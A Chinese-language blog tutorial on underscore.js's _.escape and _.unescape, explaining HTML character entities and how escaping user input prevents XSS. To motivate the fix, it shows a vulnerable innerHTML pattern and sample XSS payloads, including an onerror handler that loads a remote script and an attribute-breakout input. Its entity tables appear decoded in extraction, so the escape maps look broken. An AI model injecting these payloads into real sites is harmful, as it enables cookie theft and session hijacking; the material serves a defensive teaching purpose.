underscore 提供了 _.escape
函數,用於轉義 HTML 字符串,替換 &, <, >, ", ', 和 ` 字符爲字符實體。html
_.escape('Curly, Larry & Moe');
=> "Curly, Larry & Moe"
複製代碼
underscore 一樣提供了 _.unescape
函數,功能與 _.escape
相反:git
_.unescape('Curly, Larry & Moe');
=> "Curly, Larry & Moe"
複製代碼
但是咱們爲何須要轉義 HTML 呢?github
舉個例子,一個我的中心頁的地址爲:www.example.com/user.html?name=kevin
,咱們但願從網址中取出用戶的名稱,而後將其顯示在頁面中,使用 JavaScript,咱們能夠這樣作:正則表達式
/** * 該函數用於取出網址參數 */
function getQueryString(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]);
return null;
}
var name = getQueryString('name');
document.getElementById("username").innerHTML = name;
複製代碼
若是被一個一樣懂技術的人發現的話,那麼他可能會動點「壞心思」:瀏覽器
好比我把這個頁面的地址修改成:www.example.com/user.html?name=<script>alert(1)</script>
。安全
就至關於:bash
document.getElementById("username").innerHTML = '<script>alert(1)</script>';
複製代碼
會有什麼效果呢?服務器
結果是什麼也沒有發生……cookie
這是由於:架構
根據 W3C 規範,script 標籤中所指的腳本僅在瀏覽器第一次加載頁面時對其進行解析並執行其中的腳本代碼,因此經過 innerHTML 方法動態插入到頁面中的 script 標籤中的腳本代碼在全部瀏覽器中默認狀況下均不能被執行。
千萬不要覺得這樣就安全了……
你把地址改爲 www.example.com/user.html?name=<img src=@ onerror=alert(1)>
的話,就至關於:
document.getElementById("d1").innerHTML="<img src=@ onerror=alert(1)>"
複製代碼
此時馬上就彈窗了 1。
也許你會想,不就是彈窗個 1 嗎?還能怎麼樣?能寫多少代碼?
那我把地址改爲 www.example.com/user.html?name=<img src=@ onerror='var s=document.createElement("script");s.src="https://mqyqingfeng.github.io/demo/js/alert.js";document.body.appendChild(s);' />
呢?
就至關於:
document.getElementById("username").innerHTML = "<img src=@ onerror='var s=document.createElement(\"script\");s.src=\"https://mqyqingfeng.github.io/demo/js/alert.js\";document.body.appendChild(s);' />";
複製代碼
整理下其中 onerror 的代碼:
var s = document.createElement("script");
s.src = "https://mqyqingfeng.github.io/demo/js/alert.js";
document.body.appendChild(s);
複製代碼
代碼中引入了一個第三方的腳本,這樣作的事情就多了,從取你的 cookie,發送到黑客本身的服務器,到監聽你的輸入,到發起 CSRF 攻擊,直接以你的身份調用網站的各類接口……
總之,很危險。
爲了防止這種狀況的發生,咱們能夠將網址上的值取到後,進行一個特殊處理,再賦值給 DOM 的 innerHTML。
問題是怎麼進行轉義呢?而這就要談到字符實體的概念了。
在 HTML 中,某些字符是預留的。好比說在 HTML 中不能使用小於號(<)和大於號(>),由於瀏覽器會誤認爲它們是標籤。
若是但願正確地顯示預留字符,咱們必須在 HTML 源代碼中使用字符實體(character entities)。
字符實體有兩種形式:
&entity_name;
&#entity_number;
。好比說咱們要顯示小於號,咱們能夠這樣寫:<
或 <
;
值得一提的是,使用實體名而不是數字的好處是,名稱易於記憶。不過壞處是,瀏覽器也許並不支持全部實體名稱(可是對實體數字的支持卻很好)。
也許你會好奇,爲何 <
的字符實體是 <
呢?這是怎麼進行計算的呢?
其實很簡單,就是取字符的 unicode 值,以 &#
開頭接十進制數字 或者以 &#x
開頭接十六進制數字。舉個例子:
var num = '<'.charCodeAt(0); // 60
num.toString(10) // '60'
num.toString(16) // '3c'
複製代碼
咱們能夠以 <
或者 <
在 HTML 中表示出 <
。
不信你能夠寫這樣一段 HTML,顯示的效果都是 <
:
<div><</div>
<div><</div>
<div><</div>
複製代碼
再舉個例子:以字符 '喵' 爲例:
var num = '喵'.charCodeAt(0); // 21941
num.toString(10) // '21941'
num.toString(16) // '55b5'
複製代碼
在 HTML 中,咱們就能夠用 喵
或者 喵
表示喵
,不過「喵」並不具備實體名。
咱們的應對方式就是將取得的值中的特殊字符轉爲字符實體。
舉個例子,當頁面地址是 www.example.com/user.html?name=<strong>123</strong>
時,咱們經過 getQueryString 取得 name 的值:
var name = getQueryString('name'); // <strong>123</strong>
複製代碼
若是咱們直接:
document.getElementById("username").innerHTML = name;
複製代碼
如咱們所知,使用 innerHTML 會解析內容字符串,而且改變元素的 HMTL 內容,最終,從樣式上,咱們會看到一個加粗的 123。
若是咱們轉義,將 <strong>123</strong>
中的 <
和 >
轉爲實體字符,即 <strong>123</strong>
,咱們再設置 innerHTML,瀏覽器就不會將其解釋爲標籤,而是一段字符,最終會直接顯示 <strong>123</strong>
,這樣就避免了潛在的危險。
那麼問題來了,咱們具體要轉義哪些字符呢?
想一想咱們之因此要轉義 <
和 >
,是由於瀏覽器會將其認爲是一個標籤的開始或結束,因此要轉義的字符必定是瀏覽器會特殊對待的字符,那還有什麼字符會被特殊對待的呢?(O_o)??
&
是一個,由於瀏覽器會認爲 &
是一個字符實體的開始,若是你輸入了 <
,瀏覽器會將其解釋爲 <
,可是當 <
是做爲用戶輸入的值時,應該僅僅是顯示用戶輸入的值,而不是將其解釋爲一個 <
。
'
和 "
也要注意,舉個例子:
服務器端渲染的代碼爲:
function render (input) {
return '<input type="name" value="' + input + '">'
}
複製代碼
input 的值若是直接來自於用戶的輸入,用戶能夠輸入 "> <script>alert(1)</script>
,最終渲染的 HTML 代碼就變成了:
<input type="name" value=""> <script>alert(1)</script>">
複製代碼
結果又是一次 XSS 攻擊……
最後還有一個是反引號 `,在 IE 低版本中(≤ 8),反引號能夠用於關閉標籤:
<img src="x` `<script>alert(1)</script>"` `>
複製代碼
因此咱們最終肯定的要轉義的字符爲:&, <, >, ", ', 和 `。轉義對應的值爲:
& --> &
< --> <
> --> >
" --> " ' --> ' ` --> < 複製代碼
值得注意的是:單引號和反引號使用是實體數字、而其餘使用的是實體名稱,這主要是從兼容性的角度考慮的,有的瀏覽器並不能很好的支持單引號和反引號的實體名稱。
那麼具體咱們該如何實現轉義呢?咱們直接看一個簡單的實現:
var _ = {};
var escapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'`': '`'
};
_.escape = function(string) {
var escaper = function(match) {
return escapeMap[match];
};
// 使用非捕獲性分組
var source = '(?:' + Object.keys(escapeMap).join('|') + ')';
console.log(source) // (?:&|<|>|"|'|`)
var testRegexp = RegExp(source);
var replaceRegexp = RegExp(source, 'g');
string = string == null ? '' : '' + string;
return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
}
複製代碼
實現的思路很簡單,構造一個正則表達式,先判斷是否能匹配到,若是能匹配到,就執行 replace,根據 escapeMap 將特殊字符進行替換,若是不能匹配,說明不須要轉義,直接返回原字符串。
值得一提的是,咱們在代碼中打印了構造出的正則表達式爲:
(?:&|<|>|"|'|`) 複製代碼
其中的 ?:
是個什麼意思?沒有這個 ?:
就不能夠匹配嗎?咱們接着往下看。
(?:pattern)
表示非捕獲分組,即會匹配 pattern 但不獲取匹配結果,不進行存儲供之後使用。
咱們來看個例子:
function replacer(match, p1, p2, p3) {
// match,表示匹配的子串 abc12345#$*%
// p1,第 1 個括號匹配的字符串 abc
// p2,第 2 個括號匹配的字符串 12345
// p3,第 3 個括號匹配的字符串 #$*%
return [p1, p2, p3].join(' - ');
}
var newString = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, replacer); // abc - 12345 - #$*%
複製代碼
如今咱們給第一個括號中的表達式加上 ?:
,表示第一個括號中的內容不須要儲存結果:
function replacer(match, p1, p2) {
// match,表示匹配的子串 abc12345#$*%
// p1,如今匹配的是字符串 12345
// p1,如今匹配的是字符串 #$*%
return [p1, p2].join(' - ');
}
var newString = 'abc12345#$*%'.replace(/(?:[^\d]*)(\d*)([^\w]*)/, replacer); // 12345 - #$*%
複製代碼
在 _.escape
函數中,即便不使用 ?:
也不會影響匹配結果,只是使用 ?:
性能會更高一點。
咱們使用了 _.escape
將指定字符轉爲字符實體,咱們還須要一個方法將字符實體轉義回來。
寫法與 _.unescape
相似:
var _ = {};
var unescapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
''': "'",
'`': '`'
};
_.unescape = function(string) {
var escaper = function(match) {
return unescapeMap[match];
};
// 使用非捕獲性分組
var source = '(?:' + Object.keys(unescapeMap).join('|') + ')';
console.log(source) // (?:&|<|>|"|'|`)
var testRegexp = RegExp(source);
var replaceRegexp = RegExp(source, 'g');
string = string == null ? '' : '' + string;
return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
}
console.log(_.unescape('Curly, Larry & Moe')) // Curly, Larry & Moe
複製代碼
你會不會以爲 _.escape
與 _.unescape
的代碼實在是太像了,以致於讓人感受很冗餘呢?
那麼咱們又該如何優化呢?
咱們能夠先寫一個 _.invert
函數,將 escapeMap 傳入的時候,能夠獲得 unescapeMap,而後咱們再根據傳入的 map (escapeMap 或者 unescapeMap) 不一樣,返回不一樣的函數。
實現的方式很簡單,直接看代碼:
/** * 返回一個object副本,使其鍵(keys)和值(values)對換。 * _.invert({a: "b"}); * => {b: "a"}; */
_.invert = function(obj) {
var result = {};
var keys = Object.keys(obj);
for (var i = 0, length = keys.length; i < length; i++) {
result[obj[keys[i]]] = keys[i];
}
return result;
};
var escapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'`': '`'
};
var unescapeMap = _.invert(escapeMap);
var createEscaper = function(map) {
var escaper = function(match) {
return map[match];
};
// 使用非捕獲性分組
var source = '(?:' + _.keys(map).join('|') + ')';
var testRegexp = RegExp(source);
var replaceRegexp = RegExp(source, 'g');
return function(string) {
string = string == null ? '' : '' + string;
return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
};
};
_.escape = createEscaper(escapeMap);
_.unescape = createEscaper(unescapeMap);
複製代碼
underscore 系列目錄地址:github.com/mqyqingfeng…。
underscore 系列預計寫八篇左右,重點介紹 underscore 中的代碼架構、鏈式調用、內部函數、模板引擎等內容,旨在幫助你們閱讀源碼,以及寫出本身的 undercore。
若是有錯誤或者不嚴謹的地方,請務必給予指正,十分感謝。若是喜歡或者有所啓發,歡迎 star,對做者也是一種鼓勵。